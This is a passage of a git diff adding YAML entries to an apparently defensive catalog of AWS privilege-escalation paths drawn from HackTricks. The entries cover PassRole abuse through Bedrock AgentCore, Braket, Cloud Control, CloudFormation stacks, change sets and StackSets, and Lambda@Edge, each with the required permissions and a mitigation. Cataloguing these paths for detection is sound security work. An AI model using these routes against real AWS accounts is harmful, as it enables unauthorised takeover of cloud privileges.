src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateharness-iampassrole-invokeagentruntimecommand--root-shell-as-a-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by creating a harness with that execution role and running commands in its runtime. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:CreateHarness + resource: "*" + - action: bedrock-agentcore:CreateAgentRuntime + resource: "*" + - action: bedrock-agentcore:CreateMemory + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - agentcore_new_harness_generated_scope_and_role_ready + conditions: + - id: harness_ready + description: The harness and its managed runtime must reach READY under the passed role before a command can run. + - id: active_session + description: The command must use an active session of the same harness. + - id: managed_image_ready + description: The execution role must be able to start the managed image and access any configured memory. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope iam:PassRole to dedicated low-privilege AgentCore roles with iam:PassedToService=bedrock-agentcore.amazonaws.com and deny bedrock-agentcore:InvokeAgentRuntimeCommand unless direct shell access is required. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + notes: CreateHarness, CreateAgentRuntime and CreateMemory are account-level actions. GetMemory and InvokeHarness/InvokeAgentRuntime/InvokeAgentRuntimeCommand are checked by the precondition against future harness resources. A custom endpoint is optional and needs separate CreateHarnessEndpoint/CreateAgentRuntimeEndpoint permissions. A concrete role edge requires fresh reviewed evidence that a READY harness using the exact role ran a command in an active session and performed a useful action unavailable directly to the caller; without that evidence the route remains unresolved. + +- id: aws-bedrock-agentcore-createagentruntime-passrole + provider: aws + service: bedrock + title: Create an AgentCore agent runtime with a passed role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateagentruntime--createagentruntimeendpoint-iampassrole--run-an-attacker-container-as-a-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by running a runtime artifact it controls under that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:CreateAgentRuntime + resource: "*" + - action: bedrock-agentcore:CreateAgentRuntimeEndpoint + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/*/runtime-endpoint/* + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - agentcore_new_runtime_generated_scope_and_role_ready + conditions: + - id: artifact_pullable + description: The replacement container or code package must be caller controlled, retrievable by the service, and implement the runtime protocol. + - id: runtime_and_endpoint_ready + description: The new runtime and DEFAULT endpoint must reach READY before code can be invoked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope iam:PassRole for bedrock-agentcore.amazonaws.com roles, restrict runtime creation to the deployment pipeline and allow only approved registries. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_CreateAgentRuntime.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + notes: Generated runtime IDs have a service-chosen ten-character suffix. CreateAgentRuntime automatically creates the DEFAULT endpoint, but AWS lists CreateAgentRuntimeEndpoint as a dependent permission on the new runtime. The precondition checks one fresh name and generated suffix scope covered by endpoint creation and InvokeAgentRuntime, PassRole and trust grants. A concrete role edge requires fresh reviewed evidence that a controlled, pullable artifact ran under this exact role in a READY runtime and DEFAULT endpoint, and performed a useful action unavailable directly to the caller. The aws-bedrock-privesc page describes the same technique. + +- id: aws-bedrock-agentcore-updateagentruntime-passrole + provider: aws + service: bedrock + title: Repoint an existing AgentCore agent runtime to a passed role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by updating an existing runtime's role and artifact and invoking it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:UpdateAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/*/runtime-endpoint/* + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - agentcore_existing_runtime_update_and_invoke + conditions: + - id: executable_artifact + description: The replacement container or code package must be controlled by the caller, retrievable, and able to start before invocation. + - id: runtime_ready_after_update + description: The runtime update must succeed and its DEFAULT endpoint must serve the new version. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict bedrock-agentcore:UpdateAgentRuntime to the deployment pipeline, scope iam:PassRole for AgentCore roles and alert on role or image changes. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_UpdateAgentRuntime.html + notes: Exact UpdateAgentRuntime, InvokeAgentRuntime on the runtime and DEFAULT endpoint, and associated-resource PassRole are checked by the precondition against collected resources. A concrete role edge also requires fresh reviewed evidence that a controlled replacement artifact reached the current READY version, a new session invoked DEFAULT, and the exact role performed a useful action unavailable directly to the caller. Existing sessions may keep an older version. UpdateGateway needs a separate configured target-action proof. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml new file mode 100644 index 0000000000..086cb7663a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Braket privilege escalation techniques. +# Source: hacktricks-cloud aws-braket-privesc/README.md (rev 171e422299). + +- id: aws-braket-passrole-createjob + provider: aws + service: braket + title: Create a Braket hybrid job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-braket-privesc/README.md#braketcreatejob--iampassrole + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting braket.amazonaws.com by running job + code it controls. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: braket.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: braket.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting braket.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - braket_createjob_device_authorized + conditions: + - id: controlled_job_code + description: The source must write one script archive that the passed role can read, and the role must write the job output prefix. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Braket job roles with iam:PassedToService and limit braket:CreateJob. + references: + - https://docs.aws.amazon.com/braket/latest/APIReference/API_CreateJob.html + notes: CreateJob must authorize both an ONLINE SV1 simulator observed in the Region and the service-generated job ARN. The precondition joins those grants with exact PassRole, Braket service trust, a same-Region script archive writable by the source and readable by the role, and a complete output prefix writable by the role. Other devices and container-image routes remain unresolved. Job scheduling and successful execution remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml new file mode 100644 index 0000000000..78149a7969 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Budgets privilege escalation techniques. +# Source: hacktricks-cloud aws-budgets-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml new file mode 100644 index 0000000000..5d7d5e26f7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Chatbot (Amazon Q Developer in chat applications) privilege escalation techniques. +# Source: hacktricks-cloud aws-chatbot-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml new file mode 100644 index 0000000000..d8b957fe98 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS chime privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml new file mode 100644 index 0000000000..9baf069349 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Cloud Control API privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudcontrol-privesc/README.md (rev 171e422299). +# Cloud Control API actions use the cloudformation: IAM prefix. + +- id: aws-cloudcontrol-passrole-createresource + provider: aws + service: cloudcontrol + title: Create an administrator user through Cloud Control API with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource--iampassrole + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae + summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. + # The native precondition checks CreateResource, exact PassRole, and the role's user-creation rights. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + scope: same_account + outcome: scope_control + aggregate_as: "Administrator of {account} through Cloud Control" + preconditions: + - cloudcontrol_source_can_create_admin_user + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may exclude cloudformation.amazonaws.com. + - id: iam_user_resource + description: The passed role must create one new IAM user, set a chosen console password, and attach or write administrator permissions on that same user. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles with iam:PassedToService and specific role ARNs; deny cloudformation:CreateResource/UpdateResource to principals that should not provision resources directly. + references: + - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/resource-operations.html + - https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_CreateResource.html + - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/TemplateReference/aws-resource-iam-user.html + notes: Cloud Control assumes a passable role through cloudformation.amazonaws.com. The evaluator requires CreateResource with global Resource scope and a role that can create, read, and give a console password and administrator policy to one new IAM user. A grant limited to an existing stack ARN does not authorize CreateResource. Other Cloud Control resource types need their own permission and outcome checks. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml new file mode 100644 index 0000000000..e57632388a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml @@ -0,0 +1,333 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CloudFormation privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudformation-privesc/ (README.md and sub-page). + +- id: aws-cloudformation-passrole-createstack + provider: aws + service: cloudformation + title: Create a stack with a passed CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatestack + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role through a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:CreateStack + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + preconditions: + - cloudformation_new_stack_with_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService / cloudformation:RoleArn conditions may restrict this. + - id: template_effects + description: A caller-controlled inline template must create a resource action supported by the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html + notes: The sub-page iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md describes the same edge (DescribeStacks only helps read outputs). A concrete role edge requires fresh reviewed evidence that a caller-controlled template used this exact role for a successful useful operation that the caller could not perform directly. A passable role without that evidence remains unresolved. + +- id: aws-cloudformation-passrole-updatestack + provider: aws + service: cloudformation + title: Update a stack with a passed CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationupdatestack-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role by updating an existing stack with a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:UpdateStack + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + conditions: + - id: stack_policy + description: A stack policy denying updates may require cloudformation:SetStackPolicy (or a temporary override policy on the update). + - id: passrole_condition_key + description: iam:PassedToService / cloudformation:RoleArn conditions may restrict this. + preconditions: + - cloudformation_existing_stack_updatable_with_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: [] + notes: Needs at least one existing stack covered by cloudformation:UpdateStack. A concrete role edge also requires fresh reviewed evidence on that same stack that a caller-controlled template used this exact role for a successful useful operation unavailable directly to the caller. + +- id: aws-cloudformation-updatestack-attached-role + provider: aws + service: cloudformation + title: Update a stack through its attached CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationupdatestack-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can change a stack's template using the service role already attached to that exact stack, without passing the role again. + requires: + all_of: + - action: cloudformation:UpdateStack + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + via_resource_type: cloudformation_stack + attached_resource_covered_by: cloudformation:UpdateStack + scope: same_account + aggregate_as: "CloudFormation service roles on updatable stacks in {account}" + outcome: impersonation + preconditions: + - cloudformation_attached_role_stack_updatable + conditions: + - id: stack_policy + description: A stack policy may prevent changes to protected resources unless the caller can supply an override. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope cloudformation:UpdateStack to stacks whose attached service roles are appropriate for the updater, and restrict the roles' permissions. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_UpdateStack.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html + notes: CloudFormation continues to use the stack's attached role for future operations even when the updater cannot pass that role. The evaluator requires the recorded RoleARN on the same updatable stack covered by UpdateStack. + +- id: aws-cloudformation-changeset-attached-role + provider: aws + service: cloudformation + title: Execute a change set through a stack's attached service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationcreatechangeset-cloudformationexecutechangeset-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can supply and execute a change set on an existing stack that already carries a CloudFormation service role. + requires: + all_of: + - action: cloudformation:CreateChangeSet + resource: "{target.attached_resource_arn}" + - action: cloudformation:ExecuteChangeSet + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + via_resource_type: cloudformation_stack + attached_resource_covered_by: cloudformation:CreateChangeSet + scope: same_account + aggregate_as: "CloudFormation service roles on updatable stacks in {account}" + outcome: impersonation + preconditions: + - cloudformation_attached_role_changeset_executable + conditions: + - id: stack_policy + description: A stack policy may prevent changes to protected resources. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope change set creation and execution to stacks whose attached service roles are appropriate for the caller, and restrict the roles' permissions. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_CreateChangeSet.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_ExecuteChangeSet.html + notes: CloudFormation keeps using the stack's attached role when no new RoleARN is supplied. The evaluator requires both actions on the same recorded, updatable stack carrying that role. + +- id: aws-cloudformation-passrole-changeset + provider: aws + service: cloudformation + title: Create and execute a change set with a passed service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatechangeset-cloudformationexecutechangeset-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role by creating and executing a change set with a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:CreateChangeSet + resource: "*" + - action: cloudformation:ExecuteChangeSet + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + preconditions: + - cloudformation_new_changeset_with_role + conditions: + - id: template_effects + description: A CREATE-type change set needs a caller-controlled inline template with a resource action supported by the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: [] + notes: A CREATE-type change set can create a new stack, so no existing stack is required. A concrete role edge requires fresh reviewed evidence that the caller-controlled change set was executed and this exact role performed a successful useful operation unavailable directly to the caller. + +- id: aws-cloudformation-passrole-stackset + provider: aws + service: cloudformation + title: Create or update a self-managed StackSet with a passed administration role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatestackset--cloudformationupdatestackset + source_revision: 6fb9ac51fd + summary: The source can run template resource operations through an execution role that the passed administration + role can assume when a new or existing self-managed StackSet can reach that role's account. + pivot_resource_type: aws_stackset_administration_role + requires: + all_of: + - action: iam:PassRole + resource: '{pivot}' + request_context: + iam:PassedToService: cloudformation.amazonaws.com + any_of: + - - action: cloudformation:CreateStackSet + resource: '*' + - action: cloudformation:CreateStackInstances + resource: '*' + - - action: cloudformation:UpdateStackSet + resource: '*' + target: + kind: aws_role + selector: + assumable_by_pivot_role: true + scope: org + aggregate_as: StackSet execution roles assumable by passable administration roles (from {account}) + outcome: impersonation + conditions: + - id: execution_role_name_chosen_by_source + description: The source chooses ExecutionRoleName (default AWSCloudFormationStackSetExecutionRole), so any role + in a target account that the administration role can assume is reachable, not only the default name. + - id: target_account_reachable + description: A new StackSet requires CreateStackSet and CreateStackInstances on the same generated StackSet and its + target account; an update requires an existing self-managed instance in that account. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which administration roles can be passed. + - id: service_managed_stacksets + description: Service-managed StackSets do not use a passed role and are not covered by this entry. The service-managed + variant is covered by aws-cloudformation-service-managed-stackset-org-members. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on StackSet administration roles, scope the administration role's sts:AssumeRole + to specific execution roles, and scope execution-role trust policies to the administration role ARN. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-prereqs-self-managed.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awscloudformation.html + notes: '{pivot} is the StackSet administration role (a role trusting cloudformation.amazonaws.com that the source + can pass). The target is an execution role that pivot can assume. For creation, the evaluator checks CreateStackSet + with that administration role and CreateStackInstances on both the same generated StackSet ARN and a target-account + ARN. For updates it requires a recorded SELF_MANAGED StackSet instance in the target account and UpdateStackSet on + that exact StackSet and target. A concrete execution-role edge requires fresh reviewed evidence that a caller-controlled deployment used this exact administration and execution role pair for a successful useful operation unavailable directly to the caller; otherwise the edge stays unresolved.' + + +- id: aws-cloudformation-registertype-passrole-extension + provider: aws + service: cloudformation + title: Register a private CloudFormation extension with a passed execution role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationregistertype-iampassrole-and-an-extension-invocation-path + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting resources.cloudformation.amazonaws.com, because the handler code of a private resource type or Hook it registers runs with the passed execution role when invoked. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: resources.cloudformation.amazonaws.com + - action: cloudformation:RegisterType + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: resources.cloudformation.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "CloudFormation extension execution roles (trusting resources.cloudformation.amazonaws.com) passable in {account}" + outcome: workload_execution + preconditions: + - cloudformation_extension_package_and_invocation + conditions: + - id: handler_package_readable + description: The source must be able to supply a handler package in S3 that CloudFormation can read during registration. + - id: invocation_path + description: The registered resource type must be invoked through Cloud Control CreateResource or a stack operation on a usable stack. + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may restrict passing the execution role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict cloudformation:RegisterType/ActivateType to platform administrators, restrict iam:PassRole on extension execution roles, and keep extension roles least-privileged. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_RegisterType.html + - https://docs.aws.amazon.com/cloudformation-cli/latest/userguide/resource-type-develop.html + notes: The evaluator requires PutObject and GetObject on the same object in a recorded S3 bucket, plus a bound CreateResource or stack operation. A concrete role edge requires fresh reviewed evidence that the caller's package registered a private resource type and its handler ran a useful action under this exact execution role; without that evidence the route stays unresolved. SetTypeConfiguration alone cannot invoke a Hook. Extension roles trust resources.cloudformation.amazonaws.com, not cloudformation.amazonaws.com; ActivateType of public extensions is separate because the source does not author that handler. + +- id: aws-cloudformation-service-managed-stackset-org-members + provider: aws + service: cloudformation + title: Deploy a service-managed StackSet into organization member accounts + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformation-stacksets + source_revision: b587e6bd26 + summary: A management-account principal can make CloudFormation run IAM resource operations in a member account by deploying a service-managed StackSet with its own template. + requires: + all_of: + - action: cloudformation:CreateStackSet + resource: "*" + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + org_member_account: true + scope: org + aggregate_as: "Member accounts reachable through service-managed StackSets" + outcome: scope_control + conditions: + - id: trusted_access_enabled + description: Trusted access between CloudFormation StackSets and AWS Organizations must be enabled (it creates the stacksets-exec execution roles with administrator access in member accounts). + - id: service_managed_permission_model + description: The new StackSet must use the SERVICE_MANAGED permission model and target the member account's organizational unit in CreateStackInstances. + - id: delegated_administrator + description: A registered StackSets delegated administrator (CallAs DELEGATED_ADMIN) can also deploy, but this entry draws edges only from the management account. + - id: management_account_not_targeted + description: Service-managed StackSets never deploy to the management account; member-account SCPs still constrain the template's resources. + preconditions: + - source_in_org_management_account + - target_in_other_account + - cloudformation_service_managed_stackset_targetable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict cloudformation:CreateStackSet, CreateStackInstances and UpdateStackSet in the management and delegated-administrator accounts to deployment roles, keep the management account free of workloads, and review delegated StackSets administrators and auto-deployment OUs. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-activate-trusted-access.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-orgs-delegated-admin.html + notes: Complements aws-cloudformation-passrole-stackset, which models self-managed StackSets. No iam:PassRole is involved. The evaluator requires recorded enabled Organizations access, the member account's OU, and CreateStackInstances permission on the same generated StackSet, its OU target and the IAM role resource type. A concrete account-admin edge additionally requires fresh reviewed evidence of a successful deployment and usable administrator access through an exact recorded IAM principal in the member account. Otherwise the member-account route stays unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml new file mode 100644 index 0000000000..e11eebff3b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudfront.yaml @@ -0,0 +1,65 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CloudFront privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudfront-privesc/README.md. + +- id: aws-cloudfront-lambda-edge-passrole + provider: aws + service: cloudfront + title: Associate a new Lambda@Edge function with a passed role to a new or existing distribution + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#lambdacreatefunction-lambdapublishversion-iampassrole--cloudfrontupdatedistribution + source_revision: 41b7481234 + summary: The source can obtain the privileges of passable roles trusting both lambda.amazonaws.com and edgelambda.amazonaws.com + by running a Lambda@Edge function it controls on a distribution it can create or update. + requires: + all_of: + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:* + - action: lambda:PublishVersion + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:* + - action: lambda:GetFunction + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: lambda:EnableReplication + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: lambda:DisableReplication + resource: arn:{source.partition}:lambda:us-east-1:{source.account}:function:*:* + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: lambda.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: + - lambda.amazonaws.com + - 